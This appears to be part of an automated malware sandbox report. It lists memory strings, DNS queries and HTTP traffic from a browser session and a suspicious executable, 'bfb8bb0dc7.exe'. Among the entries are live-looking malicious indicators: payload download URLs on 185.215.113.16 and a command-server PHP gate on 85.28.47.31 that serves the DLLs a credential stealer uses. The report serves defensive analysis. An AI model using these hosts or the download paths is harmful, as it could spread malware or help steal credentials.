Source: firefox.exe, 00000016.00000003.3401318781.000001894708A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com- equals www.youtube.com (Youtube)
Source: firefox.exe, 00000016.00000003.2972414420.0000018935CFC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2878502064.00000189362A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2933839443.0000018935CDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000016.00000003.3073945047.00000189317CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xO^partitionKey=%28https%2Cyoutube.com%29,:https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 00000016.00000003.3384064641.0000018945A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3382756337.0000018945AC2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3356229366.00000189451DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xabout:certerror?e=nssBadCert&u=https%3A//www.youtube.com/account&c=UTF-8&d=%20 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000016.00000003.3357377046.00000189447C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3382756337.0000018945AC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xe=nssBadCert&u=https%3A//www.youtube.com/account&c=UTF-8&d=%20 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000016.00000003.2998039360.0000018931748000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2814824448.0000018931746000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3073945047.00000189317CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xhttps://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 00000016.00000003.3357377046.00000189447C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xhttps://www.youtube.com^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000016.00000003.3065632271.0000018935505000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xtlsflags0x00000000:www.youtube.com:443^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: 18.31.95.13.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: accounts.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: services.addons.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: mitmdetection.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net
Source: global traffic	DNS traffic detected: DNS query: twitter.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4697Host: login.live.com

Source: firefox.exe, 00000016.00000003.2976595363.0000018935175000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: bfb8bb0dc7.exe, 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmp, bfb8bb0dc7.exe, 0000000B.00000003.3023289734.0000000022AA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/enter.exe
Source: bfb8bb0dc7.exe, 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://185.215.113.16/mine/enter.exe00Start2ipfncgndfolcbkdeeknbbbnhcc
Source: bfb8bb0dc7.exe, 0000000B.00000002.3085791494.000000000275C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/enter.exe16/mine/enter.exemonProxyStub.dll
Source: bfb8bb0dc7.exe, 0000000B.00000002.3085791494.000000000275C000.00000004.00000020.00020000.00000000.sdmp, bfb8bb0dc7.exe, 0000000B.00000002.3110870483.0000000022A6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/soka/random.exe
Source: bfb8bb0dc7.exe, 0000000B.00000002.3085791494.0000000002727000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/soka/random.exec
Source: bfb8bb0dc7.exe, 0000000B.00000002.3110870483.0000000022A6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/soka/random.exem
Source: bfb8bb0dc7.exe, 0000000B.00000002.3085791494.0000000002727000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/soka/random.exep
Source: bfb8bb0dc7.exe, 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmp, bfb8bb0dc7.exe, 0000000B.00000002.3085256632.00000000026FE000.00000004.00000020.00020000.00000000.sdmp, bfb8bb0dc7.exe, 00000024.00000002.3089031616.000000000275A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31
Source: bfb8bb0dc7.exe, 00000024.00000002.3089031616.0000000002791000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/
Source: bfb8bb0dc7.exe, 00000024.00000002.3089031616.0000000002791000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php
Source: bfb8bb0dc7.exe, 00000024.00000002.3089031616.0000000002791000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php#
Source: bfb8bb0dc7.exe, 0000000B.00000002.3085791494.000000000275C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php/B
Source: bfb8bb0dc7.exe, 0000000B.00000002.3085791494.0000000002727000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpG
Source: bfb8bb0dc7.exe, 00000024.00000002.3089031616.0000000002791000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpK
Source: bfb8bb0dc7.exe, 0000000B.00000002.3085791494.0000000002727000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpU
Source: bfb8bb0dc7.exe, 0000000B.00000002.3110870483.0000000022A6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpe
Source: bfb8bb0dc7.exe, 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpoamingHJKECAAAFH.exe
Source: bfb8bb0dc7.exe, 0000000B.00000002.3085791494.0000000002727000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpq
Source: bfb8bb0dc7.exe, 0000000B.00000002.3085791494.0000000002727000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpv
Source: bfb8bb0dc7.exe, 0000000B.00000002.3085791494.000000000277A000.00000004.00000020.00020000.00000000.sdmp, bfb8bb0dc7.exe, 0000000B.00000002.3085791494.0000000002727000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/freebl3.dll
Source: bfb8bb0dc7.exe, 0000000B.00000002.3085791494.0000000002727000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/freebl3.dlll
Source: bfb8bb0dc7.exe, 0000000B.00000002.3085791494.000000000275C000.00000004.00000020.00020000.00000000.sdmp, bfb8bb0dc7.exe, 0000000B.00000002.3085791494.000000000277A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/mozglue.dll
Source: bfb8bb0dc7.exe, 0000000B.00000002.3085791494.000000000277A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/mozglue.dll~
Source: bfb8bb0dc7.exe, 0000000B.00000002.3085791494.000000000275C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/msvcp140.dll
Source: bfb8bb0dc7.exe, 0000000B.00000002.3085791494.000000000275C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/msvcp140.dll1
Source: bfb8bb0dc7.exe, 0000000B.00000002.3085791494.000000000277A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/nss3.dll?
Source: bfb8bb0dc7.exe, 0000000B.00000002.3085791494.000000000277A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/nss3.dllz
Source: bfb8bb0dc7.exe, 0000000B.00000002.3085791494.000000000275C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/softokn3.dll
Source: bfb8bb0dc7.exe, 0000000B.00000002.3085791494.000000000275C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/softokn3.dll5
Source: bfb8bb0dc7.exe, 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmp, bfb8bb0dc7.exe, 0000000B.00000002.3085791494.0000000002727000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/sqlite3.dll
Source: bfb8bb0dc7.exe, 0000000B.00000002.3112755624.0000000022C20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/vcruntime140
Source: bfb8bb0dc7.exe, 0000000B.00000002.3085791494.000000000275C000.00000004.00000020.00020000.00000000.sdmp, bfb8bb0dc7.exe, 0000000B.00000002.3112755624.0000000022C20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/vcruntime140.dll
Source: bfb8bb0dc7.exe, 0000000B.00000002.3085791494.000000000275C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/vcruntime140.dll~
Source: bfb8bb0dc7.exe, 00000024.00000002.3089031616.0000000002791000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/U
Source: bfb8bb0dc7.exe, 00000024.00000002.3089031616.000000000275A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/hH
Source: bfb8bb0dc7.exe, 00000024.00000002.3089031616.0000000002791000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/u
Source: bfb8bb0dc7.exe, 00000024.00000002.3089031616.0000000002791000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/z
Source: bfb8bb0dc7.exe, 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://85.28.47.315499d72b3a3e55be.phpoamingHJKECAAAFH.exe
Source: bfb8bb0dc7.exe, 00000024.00000002.3089031616.000000000275A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31:
Source: bfb8bb0dc7.exe, 00000024.00000002.3089031616.000000000275A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31l
Source: firefox.exe, 00000016.00000003.3426978382.0000018948100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3397921737.00000189470CB000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: firefox.exe, 00000016.00000003.3426978382.0000018948100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3397921737.00000189470CB000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: firefox.exe, 00000016.00000003.3355751970.00000189451FC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3359286606.0000018944562000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ciscobinary.openh264.org
Source: firefox.exe, 00000016.00000003.3355751970.00000189451FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ciscobinary.openh264.org/
Source: firefox.exe, 00000016.00000003.3355934859.00000189451EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ciscobinary.openh264.org/openh264-android-aarch64-42954cf0fe8a2bdc97fdc180462a3eaefceb035f.zi
Source: firefox.exe, 00000016.00000003.3355934859.00000189451EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ciscobinary.openh264.org/openh264-android-arm-42954cf0fe8a2bdc97fdc180462a3eaefceb035f.zip
Source: firefox.exe, 00000016.00000003.3355934859.00000189451EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ciscobinary.openh264.org/openh264-android-x86-42954cf0fe8a2bdc97fdc180462a3eaefceb035f.zip
Source: firefox.exe, 00000016.00000003.3355934859.00000189451EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ciscobinary.openh264.org/openh264-android-x86_64-42954cf0fe8a2bdc97fdc180462a3eaefceb035f.zip
Source: firefox.exe, 00000016.00000003.3355934859.00000189451EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ciscobinary.openh264.org/openh264-linux32-2e1774ab6dc6c43debb0b5b628bdf122a391d521.zip
Source: firefox.exe, 00000016.00000003.3355934859.00000189451EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ciscobinary.openh264.org/openh264-linux64-2e1774ab6dc6c43debb0b5b628bdf122a391d521.zip
Source: firefox.exe, 00000016.00000003.3355934859.00000189451EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ciscobinary.openh264.org/openh264-macosx64-2e1774ab6dc6c43debb0b5b628bdf122a391d521-2.zip
Source: firefox.exe, 00000016.00000003.3355934859.00000189451EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ciscobinary.openh264.org/openh264-macosx64-aarch64-2e1774ab6dc6c43debb0b5b628bdf122a391d521-2
Source: firefox.exe, 00000016.00000003.3355934859.00000189451EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ciscobinary.openh264.org/openh264-win32-2e1774ab6dc6c43debb0b5b628bdf122a391d521.zip
Source: firefox.exe, 00000016.00000003.3357377046.00000189447C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ciscobinary.openh264.org/openh264-win64-2e1774ab6dc6c43debb0b5b628bdf122a391d521.zip
Source: firefox.exe, 00000016.00000003.3355934859.00000189451EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ciscobinary.openh264.org/openh264-win64-aarch64-2e1774ab6dc6c43debb0b5b628bdf122a391d521.zip
Source: firefox.exe, 00000016.00000003.3066594596.000001893378B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2990608782.000001893377C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: firefox.exe, 00000016.00000003.3426978382.0000018948100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3397921737.00000189470CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: firefox.exe, 00000016.00000003.3426978382.0000018948100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3397921737.00000189470CB000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: firefox.exe, 00000016.00000003.3426978382.0000018948100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3397921737.00000189470CB000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: firefox.exe, 00000016.00000003.3426978382.0000018948100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3397921737.00000189470CB000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: firefox.exe, 00000016.00000003.3426978382.0000018948100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3397921737.00000189470CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: firefox.exe, 00000016.00000003.3364719178.0000018941B74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 00000016.00000003.2976595363.00000189351D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/
Source: firefox.exe, 00000016.00000003.3364719178.0000018941B74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000016.00000003.3365196247.000001894178C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2996892259.00000189317CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3073945047.00000189317CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000016.00000003.3365196247.000001894178C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2996892259.00000189317CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3073945047.00000189317CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 00000016.00000003.3040417631.0000018937D84000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2932521244.0000018937D84000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2980249152.0000018937D84000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3153426972.0000018937D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.coma
Source: firefox.exe, 00000016.00000003.2979236204.00000189388BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2979236204.00000189388DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 00000016.00000003.2979236204.00000189388BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2979236204.00000189388DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3361812071.0000018941BD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3361812071.0000018941BD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#Instance
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#
Source: firefox.exe, 00000016.00000003.3361812071.0000018941BD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#-
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#Instance
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3256602064.00000189448AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3361812071.0000018941BD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 00000016.00000003.3364227569.0000018941B96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/
Source: firefox.exe, 00000016.00000003.3252846102.00000189372C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/additionalProperties
Source: firefox.exe, 00000016.00000003.3253058406.00000189372BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsFeatureGate
Source: firefox.exe, 00000016.00000003.3253058406.00000189372BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsShowLessFrequentlyCap
Source: firefox.exe, 00000016.00000003.3253058406.00000189372BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsUITreatment
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appId
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appName
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appNameBranch
Source: firefox.exe, 00000016.00000003.3253058406.00000189372BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabled
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryUseCountThreshold
Source: firefox.exe, 00000016.00000003.3253058406.00000189372BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchBlockingEnabled
Source: firefox.exe, 00000016.00000003.3252846102.00000189372C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchEnabledhttp://mozilla.org/#/properties/merinoProviders
Source: firefox.exe, 00000016.00000003.3253538885.00000189372A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/featureId
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/value
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/value/additiona
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/ratio
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/slug
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/enabled
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/featureId
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value/additiona
